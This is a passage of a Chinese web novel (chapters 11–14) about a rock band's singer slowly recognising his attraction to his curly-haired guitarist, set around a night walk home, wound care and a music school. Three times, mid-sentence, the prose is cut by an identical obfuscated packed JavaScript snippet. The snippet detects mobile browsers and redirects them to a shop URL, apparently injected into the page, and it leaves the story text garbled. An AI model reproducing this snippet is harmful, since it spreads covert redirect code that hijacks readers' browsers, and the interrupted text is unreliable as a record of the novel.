可惜程际野意识到了,他乍然惊醒般抽回了手。 “我回去给你拿创可贴吧。”程际野说。 游星戈当然同意。 程际野把手插回口袋,一时间脑子里已经忘掉要说什么了。 幸好游星戈是个从来不会把话落在地上的人,只是说话间,程际野有些心不在焉地看向地面,他的手在口袋里不着意般摩挲着,像刚刚摩挲游星戈的唇角般。 无法言说的异样感依旧在他心头萦绕,让他意识到了自己对待游星戈不同寻常的态度。 若有若无的失控感。以及他有所预示的音乐生命里,轨道偏移的预感。 太奇怪了。 程际野的手握成拳又很快松开,表情有些怔松。 他是个直男。 并且这家伙也是。 11. 好想咬 乐队的键盘手不知道什么时候站在门口,美人尖顶着半长的黑发,眼睛微微眯了起来。 随后他挑了挑眉,难得调笑道:“再不出来,夜宵没凉,查尔斯的心都要凉了。” 程际野内心的怔然被冲散了点,他抬头:“你先走吧,我要带游星戈回去。” 陈青这才注意到他背后跟着的游星戈,卷毛青年还适时打了个喷嚏,然后才抬手打了个招呼,笑容灿烂。 陈青看着游星戈湿了一身,皱眉问程际野:“怎么回事?” 游星戈抢先:“运气不好,洗手间水管爆了。” 这是真话。 陈青若有所思,面上却没表现出来:“那你们一路小心。” 在程际野他们绕过一箱子啤酒出去之后,陈青正要打开门看看里面怎么回事时,门猛地从里面被打开了。 出现在陈青面前的,是一张和他有一拼的苍白的脸。 沈质不认识他,甩了甩身上的水就往外走,毕竟他留在这里大概率得被赶走。 该死的,系着系领带的男人在心里咬了下牙。 要沈质放下诱人的猎物并非不可以,毕竟他广撒网,又不是只有游星戈一个目标,床上的人流水线似的滚了一个又一个,只是他真没想到会有揍他两拳的。 他先骚扰的人,甚至占不上理。 内心十足恼怒的沈大少在心里骂骂咧咧地走了。 注视着沈质离开的陈青无意识地掐了掐掌心,眼睫毛轻轻颤动,和头发近乎同色的眼睛垂了下,里面盛了些嫌恶。 沈质在南平巷子里多少算个知名人物,他当然认识。 如果只是玩得花就算了。 乐队的键盘手侧头看了眼洗手间里的场景,掌心的指甲痕又加深了些。 还是个恶心的同性恋。 和当初那家伙一样。 外面的空气比酒吧里要凉爽得多,他们从正门出来的,这一条街都是酒吧夜店live house,后面才是撑着南城区发展的有些破旧的街道,常见警车嘀唔嘀唔的警笛声,再一路冲下来上某个破败的居民楼,抹着审美尚未发展起来的艳俗口红的女郎和大腹便便一身油腻的男人就拷着手铐畏畏缩缩地下来了。 今晚也没有例外。 警车上红蓝相间的光照亮一家灯牌子都落灰了的KTV门口,游星戈走过去的时候还被个手电筒闪了闪眼。 他下意识拿胳膊挡了下。 然后没过一会,程际野就若无其事地先一步走到了他的左边,动作间衣角的幅度潇洒地划过。 警笛和不远处半条不夜街的灯光打在他身上,挺拔的身姿半明半暗,像是街角书店最近上新的科幻漫画里的人物。 游星戈不动声色地侧头看了他一会,然后才收回视线,嘴角的笑若隐若现没压下来。 警笛声鸣,有人抽抽噎噎地被带下来,围着警戒线,边上传来细小又连绵不绝的哭泣声,沾了灰的小草还试图从墙缝里钻出来。 这是个新旧交替的年代,很多东西蓬勃冒出头来的时候,违法犯罪也层出不穷,祈城就是这样一座城,压在时代里,灰扑扑的,居然也生长出了程际野这样的人。 带着祈城的沉默,又从骨子里溢出来点年轻人的气质。 过了一会,游星戈勾了勾小拇指,想起来什么似地抱怨道:“那家伙可真是够莫名其妙的。” 程际野则是想到了那张被他扔掉的卡片,心想自己本来就发现苗头了,应该早一点提醒游星戈的。 他有些懊恼,但是又不知从何处向游星戈解释。 他连他当时为什么扔掉那张卡片都说不上来。 “你以后离那些人远点。”程际野轻声说。 更准确的说法,是他希望那些人离游星戈远点。 “好嘛。” 游星戈双手交叠压在脑后,然后走快了点,走到程际野前面,转身倒着走,伸展了一下,神采飞扬般的表情:“我会注意的。” 他穿着程际野的皮夹克,别的不说,在他身上还挺合身,看上去又酷又A,只是脸上的笑实在太灿烂了点。 夜空高悬的星星也照耀着他的脸,他手枕着脑袋,倒着走得从容,完全不怕会撞上人。 这时候已经快凌晨了,月亮不知为何大得吓人,程际野看着他,街道上的风吹过,不夜街喧闹的警笛和响起来的哭闹,完全没有阻挡游星戈往前走的路。 程际野也走,只是放慢了脚步。 “小心点。”他说。 他也没有阻止游星戈这特立独行的走路方式。 只是今天街角的月亮太大了,又低得要压上房屋,程际野看着他,居然有种这人下一秒就要被月亮吞没的错觉。 这张毫无所觉但是依旧笑着的脸。 他恍惚了一瞬。 眼前的人很明显在走神,感觉比他这个倒着走的人还危险,游星戈说:“回神。” 程际野那双沉沉的不知道在想些什么的眼睛才抬了起来。 再不看路他能先于游星戈撞上街角的防火栓。 游星戈在他肩上拍了三下,表情莫名虔诚,示意道:“你踩井盖了。” 程际野低头才发现,昏暗的天色里压根看不见。 年久失修也没人检查的井盖在南城区遍地都是,程际野不怎么信这个,踩了井盖要打三下之类的说法:“你倒着走的时候未必没踩到。” 游星戈听到这话,耸了耸肩,终于把自己的走路姿势掰了回来,程际野勾了勾嘴角。 很快到家的时候,程际野开了自己家的门,进去给游星戈找创口贴,后来想了想,他还是去翻到了冰块和医用碘伏,这一番翻找还费了些功夫,毕竟指着一个天天埋头在音乐里的人准确找到特定东西的位置还挺困难的。 哪料他带着这些东西敲开游星戈阳台门时,门没敲开。 里面只传来了闷闷的一声:“阳台门没关,进来吧。” 二楼只有他们两个住户,阳台连着的,游星戈后来就懒得锁阳台门了。 房间里面没开灯,凌晨的冷气冲进了黑暗的房间,微微泛冷。 游星戈出来的时候裹着浴巾在擦头发,没忍住打了个喷嚏。 程际野刚把医用碘伏放在方桌上,抬头就看见他刚从浴室里出来,泛着冷的房间里只有他身上带着股热气。 屋子里很黑,游星戈只能借着模模糊糊的夜色看出来程际野手里拿着什么,他眨了眨眼:“我都忘了。” 说这话的时候嘴角的伤口没有被扯动,他估计明天早上起来差不多就能完全痊愈了。 程际野有些无奈地说:“再严重点就能去医院了。” 游星戈舒舒服服地坐下来,程际野这才发现他刚刚是从浴室里出来的,头发湿漉漉地往下滴水,又被浴巾若隐若现地搭在他的腰间,再离近点,还能闻到沐浴露清新的香气。 房间昏暗,微小的灰尘味顺着外面的天光一起进来,游星戈离他很近,空气湿润,程际野偏了偏头,让自己的目光更多地投注在房间里,虽然黑得什么也看不见。 但是那种淡淡的沐浴露的味道依旧冲进他的鼻腔里,程际野的手微不可见地动了下。 “哇,”游星戈接过药, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13631673|143577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 按住他的肩,眼神很亮也很自然地开口,“快来看看我的伤口。” 程际野忍着拍掉游星戈手的冲动,这家伙挨近的时候,连同那种清爽的味道也一并涌入,热度要从连接处蔓延到他的耳根。 他只借着外面的天光,看清游星戈嘴角那一块不明显的淤青,顿了顿才开口:“张嘴。” 游星戈依言照做。 原本程际野只是想看看他伤势如何,鬼使神差地,他伸出了手,修长的手指摸上嘴唇,带着沙粒感的手指皮层若有若无般滑进了柔软的内壁,触感细腻。 他们对视,程际野黑沉色的眼睛对上了卷发青年有些茫然的眼睛。 ……游星戈不知道他在做什么。 程际野神色淡淡地收回手。 冰块被摆在盒子里,再不用就要融化了。 他说:“疼了吱声。” 骨骼分明的手用棉签给伤口碘伏消毒后,才拿毛巾裹住冰块开始给伤口冰敷。 程际野这样做时的神情很专注,如墨般的眼睛里仿佛只盛着游星戈。 游星戈没吭声,毕竟男主这手法真是轻柔,完全感觉不到痛。 他抬眼看着程际野,心说男主真不愧是男主,全方位无死角的美颜。 手法也真娴熟。 他很自然地问:“你经常处理伤口?” 程际野扳住他的下巴,让他不要乱动,半晌才开口:“我以前爱打架。” 对这些东西的处理方法当然早就烂熟于心。 黑发遮住了点他的神色,说出来的话也有那么一点淡薄的冷。 程际野以前确实算不上什么三好学生。 游星戈:“看不出来。” 程际野抬了抬眼,目光在他的脸上划过,又滑进了更深的地方,水珠从线条分明的上半身滑过,在浴巾处被拦截,洇出了一片深色的水渍。 他的眼神晦暗了下:“现在当然不。” 不知道想到了什么,他的嘴角又扯出个轻笑:“毕竟有时候动嘴比动手有用的多。” 他换了个方向钳制住游星戈的下巴,手中皮肤下的骨头触感分明,他很耐心地继续冰敷着游星戈的脸。 ……他很年轻的吉他手,时常给他一种仍在生长的错觉。 游星戈的视线隐晦地在男主的喉结处流连,过于靠近的距离使他们的呼吸都交错纠缠。 程际野好像也发现了,但是他没有动,他维持着耐心的姿势,俯视着,从上到下,给游星戈敷脸。 滚烫的吐息里,游星戈没说话,程际野也没有,房间里只有安静又炙热的呼吸声。 事实上,伴随着手里的动作,那种触感让程际野几乎控制不住力度。 昏色的房间里,游星戈敞着上半身,肤色健康的颈子露出来一截。 他全然无知的仰着头,看上去一捏就能断,仿佛这时候只要扼住他的脖子,就能完完全全从上到下掌控这个神采飞扬的青年。 真是,程际野喉结滚了滚。 他的眼神移到那截脖子上。 里面带了点自己都不知道的渴望。 细腻,脆弱,分明伸出手就能完全扼住。 他深呼吸了一口气。 游星戈听到了,他挑了挑眉,借着天色暗使坏般凑上前问他:“怎么了?” 程际野没推开他,他盯着那一小块脖子的地方。 他的语气和平日的主唱一样冷静:“没事。” 他的手劲没忍住使大了点。 ……他只是想咬一口。 就一口。 他的喉结上下滚了下。 12. 湿漉漉 不,不行。 程际野深呼吸一口气,指尖在游星戈的嘴角处加大了力度。 “嘶,”游星戈握住他的手腕,阻止了他手接着往下按,“很疼诶。” 他仰视着程际野,有点吃疼。 程际野:“抱歉。” 这句抱歉来得突然,他自己都没想到,愣了下后他把手腕抽出来,神色是强压的淡定:“注意别碰水。” “我先走了。”这句话很仓促。 再待下去,他怕自己真的一时失神咬上去。 伤口已经处理得差不多了,也不需要他再做什么了。 游星戈还没说话,程际野就放下了手里的工具。 他看上去并没有他外在表现得那么冷静,近乎落荒而逃。 漆黑的房间里,游星戈眨了眨眼,嘴角溢出来点笑意。 他把没那么安分的浴巾往上扯了扯——平时这块浴巾绝不会这么低——随后才慢悠悠地摸了下嘴角。 舌头在湿热的口腔里抵住尖锐的犬齿,又停留在刚刚程际野手指伸进来的地方。 男主指尖的温度比冰块烫,连同呼吸一起,磨砂般的触感。 是甜的。 程际野从没想到有一天自己会这么狼狈地从另一个人的房间里出来。 阳台上属于城市的冷风灌进他的肺里,好不容易让他一团乱麻的大脑清醒过来。 怎么回事? 为什么会有那样的念头? 他把门关上,倚着阳台门,在自己的房间里才放松。 一片模糊,昏暗房间里的同款布局让他的神色有些怔然。 正常人会想咬自己朋友的脖子吗? 更何况那个人还是同性。 程际野绝算不上是个迟钝的人,搞音乐的没有点细腻的心思怎么行。 他意识到这不正常。 可是——卷发栗眼的青年面孔又一次浮现在他的面前,露出的那一段颈子弧度流畅,白皙脆弱,灯光再亮些,不难看出下面埋藏着的淡青色血管,那只要一只手就能扼住。 ……还是想咬。 好想咬。 程际野吞了一下口水。 为什么? 他刚才很饿吗? 还是说,他真的有自己也不知道的同性情结? 不然为什么会对同性别的游星戈产生欲望? 他的神情又疑惑又懊恼。 不是这样的。 不应该是这样的。 程际野的大脑运转了一个晚上,到最后也没想明白,他只能将原因归之于最近压力太大了。 他决定暂时先离游星戈远点,给自己留点时间再想想。 让他再想想。 于是第二天一大早,天快大亮的时候,游星戈去敲程际野家的阳台门,出奇地发现程际野把阳台门反锁了,原本他能畅通无阻地进男主房间来着。 早餐袋子还在他手里热乎乎地挂着,这是他们两个未言明的默契,早上谁先起床谁带早饭,程际野还给他带过不少次。 游星戈眨眨眼,内心的笑意没有漫上嘴角,他硬生生把嘴角压成了条直线,又敲了一下门。 没人应声。 卷发青年的眉眼在晨曦里有些困惑,他看了眼阳台墙角生长的米兰花,估摸着时间应该没错,然后才露出一个沉思的表情: “诶,今天这么早就去上课了吗?” 他话音刚落,“咔哒”一声,阳台门就从里面被拉开了。 出现在他面前的是程际野那张眉眼深邃的脸,睡衣松松垮垮地挂在他身上,肩宽腰窄的优势在他身上体现得淋漓尽致,男性的荷尔蒙在早上散发开来,只是头发有些凌乱,看上去是被它的主人随手抓出来的成果,以此来掩盖他昨天晚上没睡好的事实。 游星戈眨眼,一大早就是那副很有精力的模样:“今天的早饭,是上次你带过的那家西街的烧饼,味道超棒。” 说这话的时候他就要把袋子递给程际野,程际野看了眼他的脸,顿了顿才垂眼接过,像烫手似的飞快挑过袋子。 全程肢体无接触。 按照平时,程际野该拿出他大早上的懒散来,拖长声音开口说句“谢了”,今天他沉默着没开口。 游星戈像没发现他的奇怪之处问他:“今天上午还用去上课吗?” 程际野这音乐老师当得很是尽职尽责,可惜只算得上兼职,他不是每天都去。 “今天还去,”程际野的目光在他的嘴角停留了一会,随后才若无其事地移开,声音有些低,“你伤好得怎么样了?” 游星戈真不知道他担心什么:“压根没有那么严重,一觉醒来就差不多全好了。” 为了证明,他拿手指出来那块已经快消失的淤青,咧开个闪闪的笑。 他笑得太灿烂了,简直和楼外刚刚升起的太阳有得一拼,程际野有些僵硬地“嗯”了一声。 昨天晚上那个念头一直在他的脑海里挥之不去,让他一时间无法拿出和平时一样的自然态度对待游星戈。 偏偏卷发青年是那种十分积极的人,性格上还有点迟钝,压根没有意识到这个问题,他用手撑开门:“对了,话说……” 游星戈巧妙地露出了个沉吟的表情,随后挠了挠自己的卷发,看上去有些犹豫要不要说。 他这个姿势,让程际野的视线不可自拔地又滑到了游星戈的脖子上,没了朦胧晚灯,这是一个正常人类都有的部位,唯一特别的地方就是太白了,真的能看清血管,像连绵的雪山山脉下淡青色的森岭。 把你的视线移上去,程际野在心里默念。 别再看下去了,离他、离这个卷发青年远点,他只是乐队的吉他手,他没有什么特别的。 他是你的朋友,你可以试着把他当弟弟看。 程际野闭了闭眼,这时候卷发青年终于问道:“你们培训班还缺老师吗?” 他露出一个不太好意思的表情。 听到这话,程际野兀地睁开眼:“你想当老师?” 其实这是个很不错的提议,培训班的吉他老师上个月刚刚离职,正巧赶上了培训班缺人的关头,如果游星戈想去当然可以。 游星戈拿他那双真诚得没人能拒绝的眼睛看程际野,巧克力河在其中流淌:“拜托,会有人拒绝第二份薪水吗?” 程际野想起来他的吉他手刚刚才大学毕业,身上可能还没什么钱。 他开口:“如果你想来的话,今天就可以。” 游星戈的吉他水平有目共睹,当培训班的音乐老师的话还是绰绰有余的。 卷发青年惊喜地睁大眼睛,就要给他的主唱一个拥抱,程际野却微微侧了身躲了过去。 他的神色很淡,仔细观察还能发现他想抬起又被硬压下来的手有些僵硬。 最后他扯了扯嘴角,硬生生勾出来一个笑:“我是说,你一会和我一起走就行。” 没提他为什么故意躲游星戈拥抱的事,也没让游星戈身上还沾着早上阳光的味道涌进他的鼻腔。 他怕自己真的在游星戈冲上来给他一个拥抱的时候咬他一口。 那时候他就该看到青年错愕的表情了。 说起来,这个人……他抬眼看了看游星戈的脸,这张毫无所觉的脸。 真的没有意识到吗?昨天晚上那已经不是正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13631674|143577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常朋友之间该有的距离了。 太近了,太超过了。 程际野的手握紧又松开。 早餐过后,游星戈就迫不及待地坐上了程际野的机车,这玩意放在这个年代太酷了,程际野带他出去的时候街道边还有学生侧目,稚嫩的高中生眼中露出羡慕的目光,游星戈还自来熟地隔老远冲人家挥手。 哪怕这条老街不可避免地蒙了层祈城所特有的灰尘,但是早晨的阳光穿透下来,依旧有不少清新的草木一起焕发出生机,街角的报亭边围着三三两两要去上学的学生,朝气蓬勃得要冲散雾气。 游星戈搂着程际野的腰,在多次坐过程际野的机车后座后,他连吃豆腐都吃得理直气壮。 虽然今天他一再发现,不动还好,一动程际野的身体就僵得不行。 他坏心眼,在程际野身上摸上摸下,隔着衣服布料感受程际野腹肌的形状,衣服略凉的表面都要被他蹭热了。 最后惹得人忍无可忍,程际野低声说:“你能不能规矩点。” 再蹭下去点热的就不是衣服了。 很早之前他就发现游星戈这人手脚闲不下来,他将之归于青春期小孩特有的毛病,多动症什么的,但是现在不一样,再动手动脚的,他怕是真一下把这人撂下来,让他看看什么才是真正的动手动脚。 游星戈放开手,无辜地表示自己不是故意的。 深栗色眼睛的青年装得好一手可怜,就算程际野坐前面没看到,他照旧摆出湿漉漉的眼神,语气又软又诚恳:“我没注意。” 才怪。 他自己甚至会开机车,但是就是愿意让程际野带。 毕竟逗男主的机会不是什么时候都有的。 程际野听到这话又闭了嘴,有点懊恼自己是不是把话说重了。 明明是因为他的原因,和游星戈没有什么关系。 是他自己心思太杂了。 他放缓了语气:“没事。” 其实让游星戈摸也没关系。 不、不对。 说好的,暂时和游星戈保持一段距离。 毕竟他不想到时候真有一天把人咬了。 程际野加大马力,压下了内心微微上涌的烦躁。 整个祈城就这么大,音乐培训班自然也不可能远到哪里去,在城区一个商场的四楼,从外边就挂着门头招牌,发光的字在白天看得不太清楚,模模糊糊的,缀着“艺圆”两个字。 程际野将摩托车驶进了停车位里,一直环着他的腰的青年终于把手放下,他内心松了一口气。 他摘掉头盔,一头利落的黑发显露出来,他的眉眼也带着些许的锋利:“下来。” 卷发青年坐在后座,一条长腿已经往下挎,手却还在头盔扣子上压着,试图解开。 他还背着琴包,这样有点不方便,骨骼分明的手在绳带上盘了一会也没打开头盔。 程际野很耐心地等待了半分钟,然后看他实在打不开,才把手凑上前帮他解,绳带是那种滑带又盘扣式的,程际野连头都没凑近。 他黑沉的眼睛定定地落在头盔带子上,却并不与游星戈对视。 哪怕是游星戈一直拿着他那双深栗色的眼睛看着他,眼神冠之以同样的、不逊于他解带子的专注。 修长的手以男性难以达到的灵巧解开了带子,黑白交错,不知道是不是掌握了什么特殊的技巧,游星戈好一会没解开的头盔一下就被他拿下了。 同样有一头黑发的年轻人在头盔解下时露出了个和煦的笑,发丝飞扬又自然垂落。 程际野往后退了一步,垂下了眼,没对上游星戈的视线。 “走吧。” 13. 别动 这家音乐班最开始就是个爱好培训班,后来艺考的人多了,也接收了一些还在上高中的学生,处在水嫩嫩的年纪,个个拔葱似地长个子。 程际野不教声乐,毕竟他不是科班出身,他教的是钢琴,学生三四个,有一个还不常来上课,都是群十三四岁的小孩。 培训班的老板是他的校友,和他关系很熟。 从商场的后门上四楼,脚下踩过的木楼梯会发出咯吱咯吱的声响,游星戈摸了一下同样是木制的栏杆,发现还挺牢固。 他好奇地看了眼楼梯拐角的角落里织出来的蜘蛛网:“这个商场历史很久远吗?” 用木楼梯的建筑还是很难得一见的。 程际野想了一会:“十几年的年头吧。” 其实不算久远。 从楼梯角上面往下看,一层一层的雕花栏杆让它看上去颇为古朴,只是掩盖不了空气中灰尘的味道。 他的声音压得低,在楼梯间也有回声。 拉开四楼的门,里面依旧是木地板,比外面还潮湿些,老板坐在柜子那里无聊地拨弄着算盘,背后的一整面墙上挂着的都是乐器。 这也是张蛮年轻的脸,但是搭配了个不太年轻的身材,已经有小肚腩的老板侧头看了一眼,眼睛蹭地一下变亮了:“阿野你来了,我要和你说——” 他要说的话还没蹦出来,就看到程际野背后的卷发青年,他的话停在了嘴边:“诶?” 他目光里的陌生青年朝他打了个招呼,一缕头发被穿堂风吹得上扬起来,深栗色的眼睛弯起来露出一个友好的笑。 “这是新来的学生?”刘英不知所措地招手,然后他就挠了挠头,有些疑惑地问程际野,“你新教的?” 长得还怪好看的。 程际野挑了挑眉,把游星戈背着的琴包提起来又放下:“错了,给你找的新吉他老师。” 他的声音有些散漫。 听到这话,刘英的眼神噌一下又亮了,他打量了下游星戈,脑袋里电光火石般想起来,手捶掌心:“你是ONE的吉他手吧。” “是吧?”他紧跟着追问了一句,脸上的表情有点不确定。 他有时候会去看程际野乐队的演出,注意到过这个新吉他手。 台上台下完全是两个人啊,这样看着简直不像是玩摇滚的,从哪个大学里拔出来的青葱好苗子。 游星戈没想到刘英还知道他:“对,我是。” 老板惊喜地一下子跳出来,游星戈这才发现他还穿着双拖鞋,晶蓝色的,贼亮眼,他一下握住游星戈的手: “太好了就做我们的吉他老师吧,上个老师的琴房在左边第二个房间,他的学生们这一个月没上课都是我代劳的啊,我真是受够了,不管怎样我相信你的水平,快来吧!” 游星戈看向他的表情,这位老板的眼睛很诚恳,就是也有点太夸张了吧。 游星戈的嘴角抽了抽。 偏偏老板不这样觉得,他拉着游星戈就要往琴房里走,感觉下一秒就要拖着他晶蓝色的拖鞋上蹿下跳:“你弹什么吉他比较多?知道教孩子们怎么教吗?算了不管了,你老师怎么教你的,你就怎么教他们就行,我带你看看琴房……” 这么热情,真是很难有人受得了。 游星戈拿出求助的眼神看向程际野,偏偏黑头发的主唱这时候恰好垂下了眼,与被拉去琴房的游星戈的目光错过了。 于是游星戈只能惋惜地收回视线。 程际野的手轻撑着桌子,木地板上掉着块尺子,上面有透明的划痕。 有些东西划过一道印痕就很难消掉了。 他抬眼透过玻璃门看到刘英正指着琴房里那一整面吉他滔滔不绝地开始啰嗦,卷头发的青年有点郁闷地站在那里听,因为匆忙穿了件黑色的卫衣,显得他真像个还在校园里的大学生一样。 他很少隔着这样的距离看他的吉他手。 隔着一层砂制般的玻璃。 若隐若现的,像是卷发青年终于在老板连环炮下逗乐上扬的嘴角。 他的吉他手,现在还是二十刚出头的年纪呢。 程际野神色有些恍惚,手往后碰到了桌子上的曲谱。 “小心——” 旁边一道声音响起。 程际野还没反应过来,穿着白旗袍的身影就弯腰捡起掉下来的曲谱,在看到尺子的时候还把尺子给捡了起来。 “是《蓝色多瑙河》,”穿着旗袍挽着长发的琵琶老师看了眼手里捡起来的曲谱,随后就抬起头问程际野,温柔的眼睛眨了眨,“你今天不急着去上课吗?” 她头上簪着的小白花很漂亮,随着风扑闪着,像是翩然欲飞的蝴蝶。 琴房里的游星戈正在听音乐班的老板说话,不得不说老板和老板之间的差距还是很大的,杜乔是那种美艳话少型的,听刘英说话就像听瀑布一泻而下。 难以想象程际野和话这么多的人是朋友。 最后刘英拍了拍他的肩,满意地问他:“听明白了吗?” 游星戈正要开口,就透过磨砂玻璃看到另一边的办公室里那道白色旗袍的身影。 他的大脑宕机了一下。 刘英疑惑地凑过来:“怎么了?” 游星戈摇头笑了笑:“没事。” 他差点把这号人物忘记了。 刘英却顺着他的目光看过去,发现是谁后感慨了一声:“你小子还怪有眼光的,我们培训班的大美女何艺,教琵琶的,钢琴也弹得很好。” 他看了一眼游星戈的神色,发现卷发青年神色定定,以为是他心里所想的那样,于是他转转眼睛拖长了声音:“人家现在可还没有男朋友呢。” 游星戈看了他一眼,也没解释他想错了。 一想到这本书是个起点文他就觉得牙疼,起点文永远不缺美女后宫,虽然这本书还挺特立独行,是起点近来最时兴的无cp男主文,但作者为了满足固定读者的需求,还是加了不少女角色在里面的。 何艺就是其中一个,她痴恋男主许久,男主却对她不怎么来电,典型的花瓶角色。 游星戈不大喜欢这种塑造方法,奈何他现在身处这本起点文里。 “啊,对了!”刘英一拍脑门想起来件最重要的事,“今天是周末来着,那个学吉他的几个学生没来,说是学校要补课。” 他面上有些纠结:“你要正式上课的话得下周了。” 游星戈当然不介意这个。 接着他看见程际野出了办公室的门,后面穿白色旗袍的女孩跟着,游星戈见状毫不犹豫地推开了琴房门。 “嗨。”他冲何艺打招呼。 后面的刘英嘴角抽了抽,心想这家伙看到美女就果决搭讪,执行力还挺强。 头上缀着朵白绒花的琵琶老师愣了愣,很有礼貌地点头:“你好。” 旁边的程际野看了眼游星戈那灿烂的笑容,气压不明显地往下低了点,他抿住嘴角:“我要先去上课。” 说着就要从游星戈身边岔开条道。 游星戈说:“好,我在门口等你。” 他这话说得很不见外,何艺都看了他一眼,心里揣摩着这人和阿野的关系。 程际野“嗯”了一声,浑身的气压还是有点低。 这人原来对谁都能笑得这么开心。 还有……他瞥了一眼被游星戈拦住要搭话的琵琶老师,心里涌上说不出的滋味。 不是说喜欢可爱类型的吗? 上午九点钟的阳光把灰尘味压下去了,陆陆续续也上来了不少学生,大多是从商场那边的正门上来的,背着书包,学生气很重。 有钱会来学音乐的成年人已经没有那么多闲空了。 事实上,游星戈和何艺说了会话,刘英自以为识趣地先走了,但他们俩聊得有一搭没一搭。 何艺的视线没落在游星戈身上,倒是有意无意地朝着程际野那边的琴房瞥去,一副心不在焉的样子。 最后她抿了抿嘴角,开口很亲昵:“阿星,我还有课,一会再和你聊好吗?” 她以为这也是个冲着她长相来搭讪的那些无聊的男人之一。 虽然长得还挺帅—— 她多看了几眼游星戈的脸。 但她不喜欢这种类型的,没办法。 正巧这时候有个她的学生过来,游星戈友好地点点头就目送她离开了。 刘英见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13631675|143577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缝插针地拉着他去试了段吉他,然后就把匆忙拟出来的合同递给他,一副生怕他跑了的样子。 游星戈在又一份合同上签下了自己的名字,他字写得潇洒,刘英看到的时候还啧啧称奇。 他这音乐老师当得颇为轻而易举,可见这世界上游星戈想要达成的目标最后往往都会成功。 他签了合同没事干,干脆就倚在琴房对面看程际野上课。 琴房门是类似砂制的玻璃门,隔音效果却挺好,站在外面听不到什么里面的声音。 游星戈长得好看气质出挑,跟隔壁干净清爽的邻家哥哥一样,培训班里三三两两路过的学生也偷偷抬眼看他。 可惜这个被偷看的人此时也在看别人。 程际野上课的时候比平时耐心,也收起了一贯的懒散,眉眼并不锋利逼人。 他落在钢琴上的指尖同样在阳光里跳跃,学生弹错了或者水平实在一般也不训人,最多挑挑眉让人再来一遍。 ——果然是男主,走到哪里都自带气场。 游星戈这样看着的时候,没忍住笑了起来。 琴房里的人恰巧此时抬头,隔着玻璃门看向他。 游星戈的笑从没灿烂成这样,让程际野都愣住了。 最后一个琴键落下来的时候,他的心跟着琴键一起颤动了下。 他垂下眼,清晰无误地感受到心尖一颤。 真的完了,程际野想。 乐队的主唱活了二十多年,曾经有人问过他对于同性恋的看法,他给出的回复无关痛痒。 他见过被街坊邻居说闲话的所谓二椅子,听过高中生们悄悄议论的死玻璃,有玩乐队的常常把同性恋当做时髦的证明,但是他们不会真的和男人上床。 一切都付作笑谈,程际野从没认真地想过这个问题。 所以,对待游星戈,当然可以用同样的态度。 不去追问,不去深思,也不用采取行动。 这样就能永远维持现状。 程际野沉默地握紧了手,柔软的黑发遮住了他的神情。 音乐课两个小时左右就结束了,琴房里的学生们都松了一口气,游星戈问程际野去吃什么,他罕见地没有挑剔。 有着深栗色头发的青年一锤定音说要去吃城西的烤肉,上次查尔斯推荐的那家,神情间很是兴致勃勃。 意识到某种情感在发生的程际野这时候才惊觉他们的关系已经不知不觉变得太过亲密,连吃饭都称得上同频同步。 他往后退了一步,木质的楼梯上叮当响着块金属片。 游星戈帮他捡了起来,碰巧看到木质楼梯的窗子边爬进了牵牛花,他就伸手和牵牛花握了握手。 这里是三楼,他没想到牵牛花能爬那么高。 后面没什么声响,游星戈回头一看,程际野这时候露出的表情让他心里一跳,但是笑意只在心里发酵,他问:“你怎么了?” 游星戈爱问这句话,答案会在被问的人心里面浮现。 但是程际野已决心扯断多余的线,他看着蹲着看牵牛花的青年,短暂的沉默过后露出个笑,漫不经心的:“现在十一点钟,不去抢座可能吃不到了。” 游星戈思忖片刻,决定还是去吃饭,牵牛花连带着它的丝蔓一起缠绕,从三楼一直到了一楼。 它长势太好,仰面朝南,阳光充足,程际野绕过这些叶丛,突然问他:“你知道牵牛花为什么叫夕颜吗?” 游星戈愣了愣:“为什么?” 程际野勾唇一笑:“因为它早上开放晚上就枯萎了,光阴很短暂。” 他接着补充道:“这是小学语文课本里写的。” 游星戈没忍住一乐,他把手放在还沾着点露水的牵牛花上,炽烈的阳光下他的手投下一片阴影,遮住了牵牛花。 “那就让它枯萎得慢一点吧。”他说。 程际野不知道他这句话有没有别的含义,但他看着年轻人上扬的嘴角,一颗心被搅得稀里糊涂。 这一刻,他的大脑一片空白,不知道要想什么,面前的青年拨弄着牵牛花,像要把他的心拿走。 他确实什么都不想。 他只想亲亲他,想摸摸他。 14. 躲人 从这天开始,游星戈发现程际野开始躲着他。 说躲也不太准确,程际野的态度并没有多明显的变化,是周围人察觉不出来的程度。 比如他带的早饭程际野总是退回,问就是神色淡淡地开口说在减肥,游星戈能隔着衣服瞅见对方八块腹肌的轮廓,嘴角抽了抽才接受这个理由; 